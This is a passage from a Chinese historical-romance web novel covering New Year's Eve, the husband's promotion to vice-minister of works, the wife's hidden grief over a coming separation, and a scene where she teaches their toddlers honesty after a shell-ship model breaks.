得空,左时珩也单独与安声出门,添新的衣裳首饰,吃好吃的,到了傍晚再慢悠悠地散步回家。 他分外享受与她在一起的每一刻,哪怕她就在身边,也想始终看见她,听见她,触碰她,清晰感受她的存在。 这种孩子气的黏人,在他自省时也常常对自己感到好笑,因此秘而不宣,又放任自流。 他无比爱他们的孩子,但同时也确信,比起他们,他更爱她,更需要她。 对此,他宁愿自己与孩子们相处更多,也不太愿意他们将妻子的心神完全占据。 这算什么?至少不算君子所为。 若阿声知晓他这种暗中较劲的心理,定要瞠目结舌,以为幼稚了。 但他在她面前,又的确存在既成熟稳重又幼稚黏人的相互矛盾,只是通常他会将一面藏在另一面之下。 “这么晚了?”安声仰头看了眼天,沉沉将黑,路旁树梢满是白皑皑的积雪,“我们回去吧。” 左时珩提着许多东西,另只牵着她手的手紧了紧,问她:“可是冷了?” “冷倒是不冷,但今天除夕哎,李婶一定在炸元宵、圆子、鱼块和酥肉了,我们回去也好帮帮忙。” 不知怎么,向来通情达理的左时珩任性起来,牵紧她的手不放。 “今天除夕,我们还不能偷个懒么?” “我们出来一下午了,岁岁和阿序肯定也要找我们了。” “孩子总会长大的,哪能一时一刻不能离开父母。” “……”安声抿了抿唇,不由想笑,转头望着他,“左时珩,你今天怎么回事?” “我哪里不对吗?” “哪里都不对。” 左时珩将她向自己身边拽了拽,微微俯身,与妻子贴得很近。 近到安声能窥见他眸底倒映的霞光。 “阿声。”他语气轻柔,撒娇似的,“我们许久没有单独在一起了。” 安声怔了怔,刚想反驳,又觉得他说得在理,他们在家虽朝夕相对,但孩子也总在身旁。 安声抬手捏了捏左时珩的脸,扬起笑:“喔……原来是这样啊,那我们就晚点回去,等天黑透好了。” 左时珩道:“天黑透了也不必着急,我们还买了兔子灯,元宝灯,小猫小狗灯,可以提前点起来。” 原本没有小猫小狗灯的,是左时珩偏要问摊主要了个还没来得及上色的灯笼,自己提笔画了小猫小狗在上面。 他画完,摊主看了看,还问:“这是猫和狗?” 左时珩:“是。” 摊主纳罕:“这种画法倒没见过,如何区分呢?” 左时珩一本正经道:“有胡子的是猫,没胡子的是狗。” 摊主不信:“狗难道不长胡子?” 左时珩不解释,反倒看向安声,眼神很是无辜。 安声噗嗤一下笑出声。 …… 他们在外面又多逛了会儿,今日下了场大雪,虽是除夕,天黑之后外面人倒也不多,眼见着冷起来,他们还是早早回去了。 一进杏花胡同的小院,就让穆山将买的灯挂起来,岁岁和阿序穿着圆滚滚的红色棉袍被穆诗一手一个牵着到院里看灯,烛光与冰雪相辉映,照的他们像是两颗红彤彤的小柿子。 岁岁指着海棠树上的灯,奶声奶气道:“兔子。” 穆诗连连点头:“没错,是小兔子灯,小姐真聪明。” 又指着元宝灯问阿序:“少爷,这个是什么?” 阿序看了看,小脸认真:“船。” 穆诗摇头:“不对不对,这个是元宝。” 阿序皱眉,指向书房方向,又指了指元宝灯,执拗道:“不对不对,这是船。” 安声洗了手从厨房过来,被穆诗喊住:“夫人,少爷非说这个是船。” 安声一想,忍不住笑:“他肯定是觉得和书房那个书架顶上的船有些像。” 毕竟阿序也没见过这么大的元宝,却见过差不多大小和形状的船。 穆诗也明白过来:“啊!原来说的是那个船啊!” 安声思忖,想着现代小孩认字时都是从看图像开始,更容易记忆,她得空不如画一张图,还方便以后教拼音。 晚上全家人一起吃过饭,很快便夜深了。 安声和左时珩哄了岁岁阿序去睡觉,两人则在堂中围炉守岁,门开着,正对院里,院里几棵冷枯的海棠被雪覆着,积蓄着来年春日开花的力量,枝干上悬着各色灯笼。 廊下还挂两个八角宫灯,每一面绘制着飘逸的飞天仕女图,在门前投下蝶翼般的轻盈明亮。 越过眼前之景往外望去,视线飞向天际云端,在烟花爆竹声远远响起时,便能时不时捕捉到惊鸿照影般的微光,一闪而逝。 左时珩用毯子将二人一同裹住,安声窝在他怀里,感到安心又温暖,但越是如此,她反而越是难以面对即将失去他的哀伤。 她迟疑许久,终是下定决心开口:“左时珩,我想同你说件事。” 左时珩心头没来由地震了下,仍温声道:“好。” “我……我可能会回家。” “回家?你是说,回你的来处?” 安声深吸口气:“是。” 左时珩皱了皱眉,下意识将她搂紧:“何时出发?多久回来?” “安和四年离开。”她低声道。 “何时回来?”左时珩又问了遍。 “大概要久一点……”安声不知怎么说,心揪得紧。 左时珩却松了口气,贴着她脸颊蹭了蹭。 “阿声,长久以来,你一直就是为着此事烦心么?……我知你的来处玄妙,我不得去,但等你回来并无不可,最多几个月而已。” “不止……” “难道要去一年?”他蹙眉,怀抱僵了僵,沉默片刻,又将力道收得更紧,“阿声……一年太长了,我等不了太久。” 安声将脑袋埋在他胸口,听着他稍显紊乱的心跳,喉咙发紧:“左时珩,你一定要等,因为无论多久,我都会回来,好不好?” 左时珩没有应声。 一年,实在太长了,长到他此时此刻光是想一想,就无法接受。 “左时珩……”安声在他怀里唤他,如同祈求一般。 “好。”他叹了口气,在她头顶落了个温柔的吻,“一年里,我会照顾好岁岁与阿序。” 安声缄默着,只有急促的呼吸声。 左时珩垂眸,温热唇瓣擦过她耳廓。 “阿声,我很需要你,一年是我的极限了,我既不能与你同去,就请你尽早回到我身边,好吗?” 安声不敢抬头看他,眼眶早已湿润。 一年已是极限,那她如何开口说五年? 真相残忍锋利,她手握快刀,迟迟无法挥下。 左时珩太了解她,若非不可抗力,她绝不会离去五年,可他在这件事上什么也做不了。 她还记得安和九年时,一次她从天外山回来,左时珩接到她,他们同乘一匹马,她提及来处,左时珩便问她是否是想家了。 那时他的情绪仿佛瞬间沉絮,在寒风里结了冰。 她当时不懂,而如今想来,一切都是有迹可循。 那时的左时珩,面对消失五年而回来的妻子,一定猜测过她这五年是回了家,然那是他飘渺难寻不可抵达之处,因此对她再回家的可能感到极端恐惧。 那就再晚一点吧,再想想办法……还有一年,说不定还有转机呢。 安声如此连自己也不信地安慰着自己。 “娘亲。” 小奶音蓦然响起。 两人分开,回头看去,竟是岁岁睡到半道醒了,迷迷糊糊地抱着自己的小枕头赤脚走了出来。 左时珩反应极快,起身将她抱在怀里,捂了捂她的小脚。 “岁岁是不是做噩梦了?” 岁岁搂住他脖子,喊了声“爹爹”,将醒未醒地趴在他怀里。 安声被分了心神,也顾不得旁事,小声道:“我去看一下阿序。” 果不其然,阿序也醒了,一双墨黑的眸子望着床帐顶转来转去。 安声觉得甚为可爱,多看了会,才俯身笑问:“我们阿序宝宝也睡醒了?” 阿序还有些迷迷糊糊的,听到她说话,就朝她伸出手:“娘亲,抱抱。” “好,娘亲抱一抱。” 安声将孩子抱在怀里轻拍着背,往卧房外走,正巧碰见左时珩往回走。 两人对视一眼,左时珩摸摸女儿的头发,轻声道:“岁岁又睡了。” 安声点头,说阿序也快了。 两个宝宝大约是睡一半醒了,发现父母不在,一时有些害怕。 左时珩将她鬓边散落的发丝捋至耳后。 “已子时了,我们也睡吧。” 安声叹了口气:“我没什么睡意。” “那就再坐一会儿,抱着岁岁阿序一起。” “好。” 左时珩在火炉旁重新坐下,单手拿了毯子披上,张开另一侧,朝安声笑着示意了下,安声抱着阿序过去,他便收束手臂,将母子三人一同圈入宽厚的怀中。 安声抱着孩子,靠着他,原本惶然的心也在此时得到了片刻宁静。 子时过半,坊间陆续有烟花爆竹声响起,惊得鸡鸣犬吠,这个寒冷寂静的夜乍然热闹起来。 已是安和三年了。 她仰起头,轻声说:“愿左时珩,无病无灾,长命百岁。” 回应她的,是落下来的一个温柔缱绻的深吻—— 作者有话说:亲爱的读者老师们,本文没有鬼怪神明现身[菜狗]别给我干错频了 第79章 夏夜 新年一过,朝廷上下皆忙碌起来。 工部侍郎年前病了一场,在家休养两月,过年了仍不算好,精气颓靡,又向皇帝上了致仕文书,请求生还乡里,皇帝允了,且赐金三百。 他一走,工部如今只有一个年事颇高的苏尚书,精力也已不济。 吏部多次请问,安和帝均未表态。 不过年一过,左时珩负责的皇陵修建事宜就开始动工了,经过筹谋转圜,第一批工事分文未超出预算,安和帝心情不错,朝会上屡次夸奖左时珩。 藉此,许多廷臣自然心知肚明,纷纷跟着上疏举荐于他出任工部侍郎,言其建有百年治水大功,正值今年会试在即,上届状元今登高位,亦可作天下学子之表率。 安和帝顺应众意,答应了。 于是,左时珩从都水清吏司郎中位上,一跃成为工部侍郎。 任职不足几日,一家也从杏花胡同搬离,住进了庞大尊贵的亲王前府邸。 群臣纷纷前来庆贺,安和帝也高兴地大笔一挥,亲赐御笔“江左夷吾”四字,高悬于府邸门楣之上,熠熠生辉。 穆诗一家的身份也跟着水涨船高,偌大的府邸自然仆从也不少,负责洒扫的,采买的,修缮的,园艺的等,另有护卫门房车夫等不胜枚举。 穆山手下如今管着几十号人,摇身一变成了大管家,十分风光。 李婶也做上管事娘子,每天都有丫头婆子来问她,如何如何做事,她一时还有些不太适应,和人家好声好气地商量,反倒听见人在背后笑她。 安声就让她拿出些管家的威严来,做到赏罚分明即可,李婶听了进去,也渐渐有了几分从内而外的上位者气势,安排事起来愈发得心应手。 俩夫妻夜里睡在一个房中时,都有些做梦似的飘飘然,不敢相信他们一家能走这样的大运。 那时穆山病重,一家三口眼看要饿死病死,不得不将年幼的穆诗卖给有钱人家做丫鬟换一条活路,谁承想遇见大人夫人一家,才几年就发达到如此地步,还待他们亲如家人,真真就是菩萨显灵了。 李婶起身跪在床上,双手合十念叨:“希望菩萨保佑大人夫人,还有小姐少爷平平安安,长命百岁,要我十年寿命去换我也心甘情愿。” 穆山闻言:“要我一家的性命去换也是应该的,我早想好了,这辈子不管将来如何,都始终伺候着大人一家,直到我死。” 李婶点头:“人能活到这个地步,真是死也值了,小诗将来就算嫁了人,也不能忘本。” 穆山想了一想,露出笑:“那就看小诗将来有没有这个造化,看咱们大人就知道,书没有那么好读,官也没那么好做,不是人人都行。” 李婶叹了口气,重新躺下来。 “小诗还小,现在说早了。” 穆诗虽未及笄,却已有了大丫鬟的气度。 她很聪明,学什么都快,安声自那次带她去了一次永国公府后,又应邀去了几次,包括别的集会,每回都带着她,她不但同老夫人身边的丫鬟处得好,还学了好多技艺,譬如奉茶,点香等,又跟永国公府那位从苏州请来的西席乔易水学了礼仪规矩。 甚至还跟安声认了字。 如今她手下也管着好几个丫鬟,与她年纪差不多。 每日早起,她头一件事就是带人给左时珩安排好洗漱的热水与早膳,待安声起了,又是同理。 然后给安声梳上漂亮温婉的发髻,搭配好首饰衣裳,还能每天想出不同式样,安声也乐意配合她,给她夸赞与鼓励。 岁岁阿序睡得早,起得也早,有时安声夜里睡不好,白天想多赖床会儿,穆诗就给岁岁阿序穿好衣裳,然后领着他们在院里玩,不让他们吵到夫人。 二月会试,三月殿试,又是新一年科举,京城比往年热闹。 搬进宅邸后,离林雪住的更近了,林雪常来坐,有时候带着陈静月一道,也常拉着她出去散心,说不知为何,总觉得她看着不似往常高兴了。 安声给不出解释,连编造谎言的心力也没有,只能说大概是带孩子累的。 又是一个阳光和煦的春日,街上结伴出行的人多了很多,安声步行其中,被太阳晒一晒,潮湿的心事也勉强蒸发了些。 她望着川流不息的人群,听着茶馆中学子的热烈讨论,不禁有些恍惚,上次她陪左时珩进京,亦是差不多的光景,但转眼三年,像一片鸿毛似的,轻飘飘的过去了。 林雪打断她沉思:“你听见没?他们在说左大人呢,左大人三年前蟾宫折桂,才学无双,短短三年建有不世之功,位居三品,已是天下读书人的榜样!你们搬走的那间小院,有段时间比孔庙还热闹,不知多少学子去瞻仰膜拜,企图沾点光呢。” 她又道:“不过我夫君也不差,这届科考,他是副主考之一,目前还在编纂重修《大丘律》哦。”语气毫不掩饰自豪与骄傲。 安声笑道:“是。看来你们家陈律师也快升官了。” “真是奇怪,你总叫错我夫名字,我也跟着你叫错了两回,险些解释不了呢,好在他似乎没注意到。” “顺口了,何况陈大人既然主持过科考,那名后面添个‘师’也很合理。” “这倒也是,我也觉得顺口,就这么喊好了。” 林雪眼睛弯弯。 回程时,她们被意外堵在了街口。 不知什么队伍,车马十几辆,堆满了货物,人更是多,浩浩荡荡地从街上过,却不小心撞倒两个摊位暂停了下来。 林雪打起帘看,撇嘴。 “果然又是那位国舅爷,这又是哪里回来,劳师动众的,生怕别人不知道。” 安声也看了眼,外面果然乱成一片了。 过了会儿,冯敬亲自过来,在马车外道歉:“啊呀,不知是陈大人夫人和左大人夫人出行,给你们添麻烦了,我马上让他们让一让,让你们先过去。” 安声礼貌问:“国舅爷这是做什么呢?” 冯敬得意:“贵妃娘娘要过生,我特意给准备的贺礼呢。” “原来如此,怪不得排场这样大。” 安声笑了笑。 那边很快就有人将路让了出来,容她们的马车先过了。 林雪坐在车内道:“我看他平时也是这个排场嘛。” 安声笑:“人各有所好,大概这位国舅爷就钟爱这种被所有人目光注视的爽。” 林雪赞同,又问她钟爱什么,不待她回答,便替她说。 “你啊,肯定钟爱你的左大人和你最最最乖巧可爱的儿女。” 安声心软了软,眼底蕴着柔情:“是啊。” …… 左时珩晋升后又不止负责皇陵了,许多事务一下落到他头上,让他忙了几个大夜,人都瘦了些。 安声心疼,夜里尽量陪着,不过好几次左时珩都是哄了她去睡觉,半夜又继续整理文书。 好在也未持续太久,工部事务慢慢回到正轨上来。 白日他不在家,安声甚少再出门,除了陪两个孩子,就是写信,她写了许多许多,比上一次要多,不止是九十九封。 到了后来为了提高效率,也不是每封都很长,有时只是同他分享一首现代诗,有时是同他分享一首歌词。 她拼命将一切记忆中的美好都提取出来,落在纸上,以书信的形式留给他,成为他那五年间的生命之源。 她留给孩子的也有许多,她在书信里写道:“……娘亲纵然在父母身边长大,得到的伤害却比爱多,而此时此刻,娘亲纵然不在你们身边,希望你们记得娘亲的爱,要比感受到的悲伤多得多。” 她不避讳地同岁岁阿序谈论起自己不幸的童年,已经受到过伤害永远在那里,不会消失,但人若勇敢面对它,未必不是人生的另一种解法——爱是一种能力,不是一种行为。 入夏后,岁岁和阿序说话已经说得很好了,沟通没有压力,背起三字经来也很流畅,或许不解其意,但他们还有很多时间,他们的爹爹会教好他们,这一点安声丝毫不担心。 她画了张拼音图,拼音下面画上简笔画,闲暇开始教他们认字。 起初他们怎么也不专心,后来安声便将每一个简单的词编入睡前故事里,在他们睡前讲给他们听,他们便有了认字的兴趣。 阿序曾指着书架顶上的赵夫人送她的船,奶声奶气地说:“青蛙王子坐船走了。” 岁岁反驳:“不对,是青蛙公主。” 于是兄妹俩就青蛙是公主还是王子一事吵起来。 惹得安声大笑不已。 从杏花胡同搬进宅邸后,他们夜里已不跟着父母睡同一张床了,而是歇在风芜院的后罩房里,由穆诗及两个小丫头照顾。 但在睡前,安声总会先哄他们睡着了再回房。 一次,岁岁抱着她软软的小枕头,拉着她袖子:“娘亲,小蝌蚪的娘亲是青蛙。” 安声点头:“是啊。” 岁岁说:“青蛙是娘亲,娘亲是女孩。” 安声给她轻轻摇着扇子,笑道:“对,然后呢?” “然后……嗯……”岁岁抿了抿唇,似酝酿半晌,才找到正确表达,“女孩是公主。” 安声怔了怔,才恍然她是为着之前与哥哥争论的事,誓要分个对错。 见她小脸认真,一下被可爱到,忍不住亲了亲。 “我们岁岁宝宝真是聪明,已经会举一反三独立思考啦。” 岁岁爬起来也亲了她一口。 “娘亲,岁岁要奖励小狗狗。” 奖励小狗狗? 要奖励,奖励是小狗狗。 安声一笑,正确断了句:“好啊,那我们明天去买只小狗来,不过,你要好好养它哦。” “不对不对。”她脑袋摇的拨浪鼓似的,指着她毛茸茸的小枕头,“介个小狗狗。” 安声反应了下,才听懂。 刚分床睡那阵,岁岁阿序都哭闹不愿,她就跟他们说起自己小时候的事,说她自己睡觉也害怕,但是抱着小狗玩偶一起睡就不怕了。 为此,穆诗给岁岁做了个软软的小枕头,上面绣了只小狗图案,却不是岁岁想要的。 安声明白过来,抱着女儿亲亲,语气温柔。 “好,娘亲明天就给你做,做一只大大大大大大……” 未说完就先笑起来。 岁岁跟着开心,张开手臂:“大大大大……” 但她也没忘了哥哥:“哥哥要小小小小……” “小什么?” “小灰机。” “哈哈哈……” 安声从后罩房出来时,左时珩不知何时已从书房过来了,在门外等了许久。 他揽着她回房,揶揄:“我可听见了,岁岁和阿序都有奖励,那我呢?” “你几岁了?左大人。” “你说我几岁就几岁。” “那你四岁,比他们大一岁。” 左时珩跨入卧房,一本正经问:“既是四岁,睡前也能听故事吗?” 安声笑了一阵,问:“四岁的左大人要听什么?” 他脱了外衣,上到榻上,伸手便将妻子揽入怀中,宽大的身形几乎完全淹没了她。 他贴在她耳畔亲昵地蹭了蹭,天气炎热,气息也更加灼热。 “……什么都好。” 帷帐被放下来,透进来的烛光变得朦胧柔和,宛如蒙了层滤镜。 安声薄薄的一层里衣滑落下去,露出雪白香肩,左时珩抬手握住,掌心滚烫,俯身吻在她颈侧。 安声一阵战栗,眯起眼,呼吸也不受控地紊乱,身躯的力气正被他的吻逐渐抽离,不由完全躺在他怀里。 “忙了一日,还不累么?……” 左时珩轻笑,有些不讲理地,让她身子倾倒在自己胸膛上,然后低下头,唇瓣顺玉颈滑落下去,跌入一片柔软,埋在其中。 “嗯,所以,我正在放松……” 小衣轻若无物,又或是不知何时被丢下了,总之,她仿佛直接贴近了一座亟待喷发的火山,炙热而坚硬。 盛夏的风携着同样的炽热,从窗外吹拂进来,浅色纱帐起伏着,隐约透出两道紧密贴合的人影。 做了几年夫妻,他们早已再默契不过了,汗珠滚落,分不清是喘息还是低语,彼此相拥,感官同步敏感,渴望着极致的亲密,恨不得将对方融入骨血,再不分离。 情至深处,安声被潮水淹没,仰在枕上,眼尾滑过一滴泪。 左时珩放缓了动作,温柔吻过她眼尾。 安声闭着眼,轻轻摇头,不让他屈身退离,反而更紧地将他抱住,迎合他,微微哽咽的声音濡在耳边,一遍遍呼唤他的名字。 第80章 大雨 今日是七月十二,窗外悬停了一轮明月,很圆,安声盯着看了许久,看不出与十五的区别。 月光大盛,像是泼洒下来的,在地上积了厚厚一层,屋瓦,台阶,以及窗棂上,都似覆了层冬日的霜,而扑面的却非寒气,只有闷热的潮意,以及一丝晕在空气里的浓稠的泥土腥气。 又到汛期了。 江河水患,总在这个时候。 安声摸了摸自己颈侧,摸到一阵黏糊糊的凉意,应该是出了许多汗。 她是从一场噩梦里惊醒的,梦已记不清,而醒来后却始终恍惚。 她悄悄下了床,来到窗边静立,抬头望出去,看见那轮月亮,明亮的吓人,像只巨大的眼沉默地盯着她。 她最近偶尔会出现这种感觉,在不经意间一闪而逝。 这种感觉类似于灵魂的抽离,是一种乍然的失重。 然当她回神之际,又消失不见,杳无影踪,只余心脏后知后觉地加速跳动。 她细细想,安和九年下半年,她亦出现过此类情况,只是那时她从未在意。 这让她如刀悬于顶,时刻无法安生。 左时珩忽然传来一声低低的呓语,似在唤她的名字,将安声从某种状态里扯出,她再去看月亮……只是月亮而已。 一轮再寻常不过的月亮。 她回到床上,左时珩向里侧卧着,睡得很沉,清冷眉眼间满是倦意。 她深知她的爱人,向来事必躬亲,上解君忧,下苏民困,毕智竭力,自接任工部侍郎以来,半点不敢懈怠,在原有的职责上更是十倍百倍的勤勉,方不负上提携之恩。 即便她不在的五年间,于国家大事上,他也从未耽误毫分。 甚至因为她不在身边,而更加不要命地去做事。 正是知晓他这个性子,她才格外心疼。 安声此刻望着他,虽日日都在枕边,却好像怎么也看不够,实在爱极,爱极,不禁俯身悄悄吻他。 唇瓣轻轻擦过,感知到妻子的气息临近,左时珩虽未清醒,却早已习惯成自然般的伸出手,将她整个儿捞进怀里,蹭着她柔软的发。 安声放任自己完全落在他怀里,阖上眸,不去想之前的噩梦,暂时躲进这个温暖安心的港湾- 盛夏时节,一场大雨说下就下。 院里的两个小丫鬟怕花被打了,冒着雨将几盆开得正好的栀子端到廊下。 穆诗带着两个孩子到风芜院东厢房,见安声午后小憩未醒,便领着两个孩子穿过中庭到书房去,给他们拿了几只木雕小鸟玩。 过了会儿,雨还未有停的趋势,在廊下垂成珠帘,打得芭蕉叶噼里啪啦的响。 穆诗走出来,吩咐她们:“你们进来照看一下少爷和小姐,我去小厨房给夫人煮奶茶。” 两个丫鬟应了,掏出帕子掸了掸各自身上的雨水,走进书房。 风芜院的书房很大,在左时珩平日办公的对向,专腾了块地方,铺着凉席软垫,围了圈木头栅栏,又用软布包上,给岁岁和阿序在里面玩。 白日左时珩不在家,安声在书房写信或刻木雕,能够时时看见儿女,彼此既能随时亲近,也可互不打扰。 不过之前他们只会爬来爬去,所以在里面也出不来,但如今他们会走路了,那围栏又不高,容易给他们翻过去,便要时时有人看着,以免磕着碰着。 两个小丫鬟蹲在围栏外,看着他们和木头小鸟做游戏,给它们起名字,一会儿树洞一会儿城堡的,还有什么精灵和女巫,她们一点听不懂,但觉得有意思。 没多久,兄妹俩似是玩腻了,不知嘀嘀咕咕商量什么,随后阿序走过来将小鸟给其中一个小丫鬟。 小丫鬟愣了愣:“少爷要给我吗?” 阿序点头:“嗯,给你。”他指着书架上的贝壳船:“我要那个。” 小丫头顺着他指的方向看去,见是一艘十分精致的船模型,她站起来仔细看,发出赞叹:“这是什么做的?” 岁岁答:“贝壳。” 另个小丫鬟问:“是水里的贝壳吗?” 阿序纠正:“是海里的。” 两个小丫鬟对视一眼:“谁见过海,我们都没见过。” 阿序说:“我要那个,我要那个。” 先前那个小丫鬟犹豫了下,答应:“好,小少爷,我去给你拿下来。” 她走过去,伸了伸手,发现够不到,又拖了张凳子,站上去将那艘精致的贝壳船捧下来。 “哎,给我接一下。” 另外一个小丫鬟忙小心接住,这般近距离看,更是不住惊叹好生精致漂亮的摆件。 她将船放到地上,提醒翻过围栏的岁岁阿序:“小姐和少爷要小心点玩,别打坏了。” “再好也不过是个物件而已。”另个小丫鬟将凳子放回原位擦干净,“小姐和少爷喜欢才最重要,他们这样的人家还缺这点东西不成?” 那个提醒的小丫鬟就不说话了。 岁岁和阿序对这艘贝壳船感兴趣很久了,但穆诗从不给他们拿,就怕他们弄坏,也怕贝壳边缘锋利,不小心割到手。 岁岁蹲下来鼓捣那艘船的桅杆:“哥哥,你会开船吗?” 阿序说:“我会啊。” 岁岁:“骗人。” “我没有骗人。”阿序皱眉,誓要证明自己,便将那艘船整个抱紧端起来,“我现在开船去找娘亲。” 两个小丫鬟“哎”了声,一时不知怎么拦。 阿序费劲地抱着船往外走,岁岁跟在后面高兴道:“开船去找娘亲!” 但他刚走两步就觉得手疼,一松,整艘贝壳船就这样跌在地上,散了一堆零零碎碎。 碎裂的声音惊得在场四人都怔住了。 一时时间宛如静止了似的,谁都没敢动。 安声得知此事赶来时午睡刚醒,一地狼藉已被收拾过,残缺的船体及碎掉的贝壳都被拢归到一起,用大盘子装着,放在桌上。 岁岁和阿序已经到围栏里,扶着围栏半趴着,紧张地望着娘亲,心知闯祸,不敢说话。 两个小丫鬟更是害怕的大气不敢出,跪在一旁,头低到胸前。 穆诗一脸怒气,显然是训过她们一次。 虽然穆诗避重就轻,但安声大概猜到了事情过程,见这艘贝壳船被损坏的大概不能修复了,心下十分惋惜,却并不生气。 她温声道:“你们两个先起来吧,此事错不在你们。” 两个小丫鬟一震,不敢起身,叩头道:“夫人恕罪,我们不该擅自动书房里的东西的,我们错了,真的错了。” 她们本不是贴身伺候的,只听穆诗吩咐做些洒扫和侍弄花草等琐事。 “不怪你们,既然是少爷小姐要玩的,你们也是听命行事,何错之有?”安声扫了眼儿女,故意问,“不过我有一句要问,这个船是谁弄坏的?” 刚站起来的两个丫鬟立即又抖了抖,硬着头皮说是她们俩弄坏的。 安声道:“我这里不怕人犯错,就怕人撒谎,撒谎的人不能留下,所以,再给你们一次回答的机会。” 房中沉默下来,只闻急促的呼吸此起彼伏。 安声也不急,耐心等着人开口。 穆诗欲言又止,脸色一阵青一阵红,最后也将头低下去了。 两个小丫鬟企图看穆诗眼色,失败,故而半晌后,她们重新跪下,颤声说了实话,说是少爷打碎的。 安声又让她们起来,站着回话。 不过她们这边刚起身,穆诗倒跪了下去,眼泪落在地上。 “对不起夫人,是我的错,我让她们……我……” 安声没有作声,先是对那俩小丫鬟嘱咐了几句,让她们各自忙去,等人走了,才让穆诗起来。 “我知道你是好心,是护短,你知这船珍贵,怕我责怪他们,但与那两个姑娘不同,我将你视为家人,你和弟弟妹妹一起长大,该批评的地方,我需要批评你。” 穆诗从未见过如此严肃的夫人,慌得很,又想跪下,被安声拉住:“站着听我说,你知道我和大人都不喜欢别人动不动下跪。” 穆诗点头,泪水不住落。 安声说:“你日日和岁岁阿序待在一起,照顾他们,你的一言一行会让他们学去,你已懂事,分辨得出谎言是善是恶,该不该说,但他们还不能,若成习惯,便改不了了,何况,人非圣贤,孰能无过。” 她故意顿了顿,问她下一句是什么。 穆诗红着眼:“……过而能改,善莫大焉。” “是,你已读书明理了,道理你能想得通,我不必多说。”安声长叹了口气,接着看向岁岁和阿序。 她的孩子正处于会说话不久的年纪,整日里叽叽喳喳个没完,今日难得安静这么久,可见他们虽小,也并非什么都不懂。 “你们两个过来,到我面前站好。” 岁岁不敢动,阿序看了看妹妹,又看向娘亲,老老实实从围栏出来。 不过安声还未说一个字,他的眼泪就已啪嗒啪嗒掉个不停了。 他两只小手不安地攥在一起,像个萝卜丁似的摇摇晃晃走过来,才走了几步,就踉跄了下,跌坐在地上。 穆诗吓了一跳,也顾不得自己伤心,忙要去扶,安声制止了,让他自己起来。 “夫人……” 阿序也吓到了,从无声掉泪一下哭出声。 岁岁见哥哥这般,自己也忍不住跟着哭。 穆诗心疼,又想去哄他们,又不敢动,只能哀求地望着安声。 安声望着阿序,阿序朝她哭出伸出手,话都说不清楚:“娘亲……手手……疼……” 安声这才走过去,看了看他的手,划了道小口子。 她心疼地蹙了蹙眉,仍是没有心软,只是伸出一只手:“阿序,自己会站起来,对吗?” “娘亲……娘亲……抱……”阿序哭得更委屈了,大大的眼眶里蓄满了泪花,可怜兮兮,惹得穆诗直掉泪,给他们认错求饶。 安声叹了口气,最终将他抱起来。 阿序将她搂得紧紧,小小的脑袋埋在她怀里哭得委屈极了。 安声又摸了摸岁岁的头,伸手牵住她:“先跟娘亲过来。” 她吩咐穆诗将船找个木箱收起来,然后带着两个孩子回了卧房,给阿序处理了伤口,怕他吃手,又用帕子将他整只手包了起来。 阿序抿着唇,眼泪还在淌,岁岁倒是不哭了,大约是察觉到那个温柔的娘亲又回来了。 “好了,你俩现在给我站好。” 她将阿序放下来,又指了指岁岁,板起脸。 气氛一下又严肃起来。 安声问他们,是谁弄坏了贝壳船。 阿序总算抽噎着承认了,举起那只包的圆圆的手,说手痛,不是故意摔的。 安声又转向岁岁,问:“是哥哥摔的吗?” 她点点头。 安声又问:“只有哥哥想玩船,还是你们两个都想?” 岁岁抿着嘴,纠结好久:“我和哥哥两个都想。” “好。”安声露出笑,摸了摸她的脸蛋,“勇敢承认自己做过的事,没有那么难,是不是?” 岁岁点点头。 阿序拉住她袖子:“娘亲……对不起……” “对不起什么?” “我把……船坏了……” “不是因为你把船弄坏了,你并非故意,娘亲不会生气,但你不说实话,娘亲才生气,若是娘亲真的以为是那两个姐姐弄坏的,岂不是让她们白白受了委屈?”她用帕子给他擦着眼泪,“阿序希望别人给自己承担错误,自己做一个胆小鬼吗?” 阿序立即摇头。 安声:“好,还记得爹爹教你们背的三字经吗?背给娘亲听一听。” “人之初,性本善。性相近,**。苟不教,性乃迁。教之道,贵以专……” “停。”安声问,“还记得爹爹给你们说过这四句的意思吗?” 岁岁和阿序点头,但说了半天都说不清楚。 安声忍不住笑:“那等爹爹回来,你们去问他。” 左时珩下值回时天已黑透了,携着满身的汗与灰尘,顾不得其他,先赶去净室沐浴了番。 才换了薄薄里衣出来,两个孩子便一下扑上来,一边一个抱住他的腿,叽里呱啦。 “……三字经?”他听了半天才听懂,有些诧异。 安声将事与他简单说了番,他摇头一笑,弯腰将两个孩子单手抱起来。 “是说,所有人像你们这么小的时候,都是很善良很听话的乖宝宝,但后来……” 安声也不插话,坐在桌边托着腮,静静听他教导两个孩子。 左时珩虽于文道上较为严格,却并不严厉,也不教条主义,他会将那些书本上枯燥的道理给孩子讲得通俗易懂,且十分有耐心,完全是一个慈父。 故而安声也能理解,为何安和九年时,他在发现阿序文章由岁岁代写时分明那么严肃威严,事后岁岁与阿序却不怕他,乖乖认错后,依然同他亲近的不得了。 “……爹爹说明白了吗?” 他问。 岁岁和阿序都点头。 安声见他目有倦色,便将儿女接了过来放下,唤穆诗带他们回去睡觉:“因为今天犯了错,所有今天没有睡前故事。” 岁岁阿序自知有错,也不敢争辩,手牵着手乖乖跟穆诗去了。 “难得见阿声对他们这样严厉,还有什么别的原因吗?”左时珩从背后抱住她,柔和低沉的声音落在耳畔。 安声眸底掠过一丝怔然,随即被心疼覆去。 左时珩竟这样敏锐。 她的确心急了些,总不由自主地,想在有限的时间里多教导儿女一些。 今日她午睡时,竟梦到现代的一些事,惊醒过来恍惚了好一阵,直到被穆诗唤回神思。 “左时珩。”她转过身来,避而不答,转了话题,问他,“今日又去皇陵了?” 皇陵在郊外,甚远,盛夏的天,今又大雨,湿热沉闷,她在家都难捱,何况在外面,怪不得他这样累。 “没有。”左时珩捧着她脸,与她额头轻抵,“去勘察了几条河道,又去了军械库一趟。” “今日的雨下得急,是不是没带伞?” 他低笑,吻了吻她:“什么都瞒不过你。” 安声拉着他上榻去,让他躺在自己腿上,给他揉捏手臂肩膀。 “总是这样不顾自己,若病了怎么办?” 他动了动,揽住安声的后腰,笑道:“这段时日实在忙得不可开交,病了正好在家歇两日,劳烦夫人照顾我了。” 安声捏捏他的脸:“怎么还有人将生病当作奖励?这样的话不好。” 左时珩笑了声,侧过身来,脸埋在她小腹处,贪恋地吮吸着她的味道。 “好,那不说。” 安声垂眸,温柔地捋着他散落的发,爱怜地摸着他好看的脸。 房里静谧温馨。 没多久,她轻声唤。 “左时珩?” “……” 再看,他已气息沉沉,放松地枕在她腿上睡着了。 安声俯身,吻在他发上。 “我爱你。”《 》 80-87 第81章 秋意 